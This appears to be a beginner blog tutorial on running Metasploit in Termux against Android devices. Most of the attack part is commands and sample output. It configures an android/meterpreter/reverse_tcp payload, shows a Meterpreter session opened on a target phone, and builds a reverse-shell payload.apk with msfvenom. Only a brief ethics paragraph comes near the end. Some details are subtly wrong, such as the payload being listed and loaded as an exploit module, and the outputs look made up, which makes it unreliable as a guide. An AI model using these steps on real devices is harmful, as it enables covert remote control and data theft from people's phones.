Getting Started with Metasploit Software in Termux

Sam Galope Metasploit Software Basics Square
Sam Galope Metasploit Software Basics

If you’re looking to start your journey in ethical hacking, Metasploit software is one of the most powerful tools at your disposal. In this beginner’s guide, we’ll walk you through setting up Metasploit software in Termux and using it to perform basic exploits. By the end of this tutorial, you’ll have a solid foundation to explore more advanced Metasploit features.


Table of Contents


1. What is Metasploit Software?

Metasploit software is a framework widely used for developing and executing security exploits. It allows security professionals to test for vulnerabilities and is an essential tool for penetration testing.

Internal link: Check out our Termux Ethical Hacking Archive for more security-related tutorials.

2. Installing Metasploit in Termux

To get started, we need to install Metasploit software in Termux. Follow these steps:

$ pkg update && pkg upgrade
$ pkg install unstable-repo
$ pkg install metasploit

Explanation:

  • pkg update && pkg upgrade ensures your Termux packages are up-to-date.
  • pkg install unstable-repo installs an additional repository that contains Metasploit.
  • pkg install metasploit installs the Metasploit framework.

Sample Output:

Hit:1 https://packages.termux.org/apt/termux-main stable InRelease
...
After this operation, 128 MB of additional disk space will be used.
Setting up metasploit (6.0.45-0) ...

Explanation of Output: This shows the process of updating package lists, installing dependencies, and finally setting up Metasploit in Termux. The 128 MB size reflects the space required to install Metasploit.


3. Setting Up Metasploit

$ msfdb init

After installation, initialize the Metasploit database:

Explanation:

  • The msfdb init command initializes the database for storing results from exploits, modules, and scan data.

Sample Output:

Creating database at /data/data/com.termux/files/home/.msf4/db
Starting database at /data/data/com.termux/files/home/.msf4/db
Creating initial database schema
Database successfully initialized

Explanation of Output: This confirms that the database schema has been successfully created and initialized for Metasploit.

Now, start the Metasploit console:

$ msfconsole

Explanation:

  • msfconsole opens the Metasploit command-line interface where you can access all of the framework’s features.

Sample Output:

Metasploit Park, the elite security playground!
...
msf6 > 

Explanation of Output: This indicates that the Metasploit console has successfully launched. The version shown (e.g., msf6) is the current Metasploit version running on your system.


4. Basic Exploits with Metasploit Software

Once Metasploit is up and running, we can begin testing some basic exploits. For this example, we’ll exploit a vulnerable Android device.

Search for available Android exploits:

$ search android

Explanation:

  • The search command allows you to find exploits based on keywords like “android.”

Sample Output:

Matching Modules
================
#   Name                                        Disclosure Date  Rank       Check  Description
0   exploit/android/browser/webview_addjavascriptinterface 2012-09-25  excellent  No    Android WebView AddJavascriptInterface Exploit
1   exploit/android/local/futex_requeue          2014-06-05  normal     No    Android Futex Requeue Kernel Exploit
2   exploit/android/meterpreter/reverse_tcp      2021-01-15  excellent  Yes    Android Reverse TCP Meterpreter

Explanation of Output: This list shows the Android-related exploits available in Metasploit, including information such as the disclosure date and effectiveness (“Rank”).

Choose the android/meterpreter/reverse_tcp exploit, which is a reverse TCP exploit that allows remote control of an Android device.

Load the exploit:

$ use exploit/android/meterpreter/reverse_tcp

Explanation:

  • use is the command to load a specific exploit module.

Sample Output:

$ msf6 exploit(android/meterpreter/reverse_tcp) > 

Explanation of Output: This indicates that the reverse_tcp exploit is loaded and ready for configuration.

5. Creating and Running a Payload

Before running the exploit, we need to set up the payload.

$ set payload android/meterpreter/reverse_tcp
$ set LHOST <your IP>
$ set LPORT 4444
Explanation:
  • set payload specifies the type of payload, which in this case is a reverse TCP shell that allows you to control the target.
  • LHOST and LPORT are set to your local machine’s IP address and port for the reverse connection.

Sample Output:

$ payload => android/meterpreter/reverse_tcp
$ LHOST => 192.168.0.105
$ LPORT => 4444

Explanation of Output: This confirms the payload has been configured with your IP and port settings.

Now, run the exploit:

$ exploit

Sample Output:

[*] Started reverse TCP handler on 192.168.0.105:4444
[*] Sending stage (70403 bytes) to 192.168.0.106
[*] Meterpreter session 1 opened (192.168.0.105:4444 -> 192.168.0.106:54567) at 2024-09-24 12:00:45 +0000

Explanation of Output:

  • A reverse TCP connection has been successfully established with the target device. You now have remote access to the device via a Meterpreter session.

Concepts Explanation:

  • Reverse TCP: In this scenario, the target device initiates a connection back to the attacker’s system (reverse shell), making it harder for firewalls to block the connection.

6. Generating a Payload

To exploit a system, you may need to create a payload. Let’s generate an Android payload:

$ msfvenom -p android/meterpreter/reverse_tcp LHOST=<your IP> LPORT=4444 -o /sdcard/payload.apk

Explanation:

  • msfvenom is used to generate the payload.
  • -p specifies the payload type (Android reverse TCP shell).
  • LHOST and LPORT are your local IP and port.
  • The payload is saved as an APK file on the Android device’s SD card.

Sample Output:

[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
Payload size: 10272 bytes
Saved as: /sdcard/payload.apk

Explanation of Output: The APK payload has been successfully generated and saved in the specified location.


7. Ethical Considerations

Before diving into more complex exploits, it’s important to understand the ethical implications of using Metasploit software. Always get permission before attempting to exploit any system. Misuse of this tool for malicious purposes can lead to legal consequences.

External link: Learn more about ethical hacking at OWASP.


Additional Resources

If you’re interested in expanding your knowledge of Metasploit software, here are some useful resources:

Leave a Reply

Your email address will not be published. Required fields are marked *